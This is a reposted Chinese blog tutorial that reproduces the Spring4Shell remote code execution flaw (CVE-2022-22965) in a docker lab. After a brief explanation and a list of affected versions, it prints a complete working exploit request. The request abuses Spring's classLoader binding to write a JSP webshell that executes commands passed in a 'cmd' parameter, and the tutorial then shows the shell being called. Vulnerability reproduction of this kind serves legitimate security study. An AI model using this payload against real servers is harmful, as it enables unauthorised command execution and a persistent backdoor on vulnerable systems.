0


Spring4shell远程命令执行(CVE-2022-22965)

一 漏洞原理

Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。

二 利用条件以及影响范围

  • JDK 9+
  • Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)
  • Apache Tomcat的web应用服务器,部署方式为WAR包
  • 依赖Spring Framework的spring-webmvc或spring-webflux组件
  • Spring Framework 5.3.X < 5.3.18
  • Spring Framework 5.2.X < 5.2.20

三 漏洞复现

1.环境搭建

            这里使用docker搭建(也可以使用在线的vulfocus)

            以下是使用docker搭建的命令

docker pull vulfocus/spring-core-rce-2022-03-29 //下载漏洞镜像
docker run -d -p 8010:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 //启动并映射端口,映射的端口可以自主调节

搭建好之后,出现以下图片说明搭建成功

2.漏洞利用

            使用抓包工具进行抓包,更改为post传输方式,修改数据包,使用payload进行weshell写入

payload(可以自行修改):

第一行:要写入的内容

第二行:文件后缀

第三行:写入路径

第四行:写入文件名称

第五行空值即可

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di 
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp 
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT 
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

使用重发模块进行测试,如下图

在浏览器访问即可(shell.jsp记得替换为自己传入的文件名称哦)

http://xx.xx.xx.xx:端口/shell.jsp?pwd=j&cmd=whoami

exp:GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit


本文转载自: https://blog.csdn.net/m0_58596609/article/details/127226921
版权归原作者 种树人1 所有, 如有侵权,请联系我们删除。

“Spring4shell远程命令执行(CVE-2022-22965)”的评论:

还没有评论